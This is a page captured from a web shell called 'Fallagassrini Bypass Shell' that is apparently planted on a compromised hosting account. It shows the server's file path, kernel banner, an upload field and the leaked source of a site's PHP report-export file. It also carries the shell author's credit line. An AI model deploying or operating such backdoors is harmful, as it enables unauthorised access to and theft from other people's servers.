? Fallagassrini

Fallagassrini Bypass Shell

echo"
Fallagassrini
";
Current Path : /home1/savoy/public_html/savoyglobal.net/rms/application/views/report/

Linux gator3171.hostgator.com 4.19.286-203.ELK.el7.x86_64 #1 SMP Wed Jun 14 04:33:55 CDT 2023 x86_64
Upload File :
Current File : /home1/savoy/public_html/savoyglobal.net/rms/application/views/report/xls_project_report.php

<?php  if ( ! defined('BASEPATH')) exit('No direct script access allowed');
 $inventory_item=$this->mastermodel->getdatas('inventory','inventory_id');
$html='<html><head><body>';
$html.='<table width="100%">
        <tr><td colspan="2"></td><td align="right"><img src="'.base_url().'assets/images/maksys.png" style="float:right"/></td>
        <tr><td colspan="3" style="font-size:16px;" align="center"><b><u>Project  Report</u></b></td></tr>
        <tr><td colspan="3">Printout Date : '.date('d-m-Y').', '.date('h:i:s a').'</td></tr>
        </table><br><br>';
$html.='<hr>';
$html.='<table cellspacing="-1" style="width:100%;text-align:left">
        <thead>
        <tr><th style="text-align:left" bgcolor="#7FCEFF">Sl No</th>';
        foreach ($view_info as $key => $value)
            {
             $column_name = array_keys($value);
            }
            
       foreach($column_name as $key)
            {
              if($key!='project_id')
               {
                $html .= '<th style="text-align:left" bgcolor="#7FCEFF">'.str_replace('_', ' ', $key).'</th>';
               }
            }
$html.='</tr>
        </thead>
        <tbody>';

$i=0;
 $rowspanount =0;


foreach ($view_info as $value) 
{
   
    $inventory_details=$this->mastermodel->get_data('project_details',$value['project_id'],'project_id');
    $rowspan = count($inventory_details);
    $tempRowSpan =0;
    $i++;

    if($rowspanount != $value['project_id'])
    {
        $purchaseTotal =0;
        $rowspanount = $value['project_id'];
        $html.="<tr><td rowspan='$rowspan'>".$i."</td>";
        foreach ($value as $key => $value1) 
        {
            $pos=strpos($key, 'Date');
            if($pos !== false)
            {
        $value[$key]=$this->mastermodel->convertdatenormalformat($value[$key]);
            }
            if($key!='Contracting_Company_Name' || $key!='Scope_Of_Work' || $key!='Contract_Value' || $key!='Paid_Amount')
                $tempRowSpan= "rowspan ='" .$rowspan ."'";
            else
                $tempRowSpan="";
            if($key!='project_id')
            {
            $html.= "<td $tempRowSpan >".$value[$key] . "</td>";
            }
        }

        $html.='</tr>';
    }
    else
    {
        
        $html.='<tr>';
        foreach ($value as $key => $value1) 
        {
             if($key=='Contracting_Company_Name' && $key=='Scope_Of_Work' && $key=='Contract_Value' && $key=='Paid_Amount' && $key!='project_id')
                 $html.= '<td>'.$value[$key] . '</td>';
             
        } 

        $html.='</tr>';
    }
}

$html.='</tbody></table>';
$html.='<hr>';
$html.='</body></html>';

$filename = "Project  Report";
header("Content-type: application/octet-stream");
header("Content-Disposition: attachment; filename=".$filename.".xls");
header("Pragma: no-cache");
header("Expires: 0");
print $html;
exit;
?>

bypass 1.0, Devloped By El Moujahidin (the source has been moved and devloped)
Email: contact@elmoujehidin.net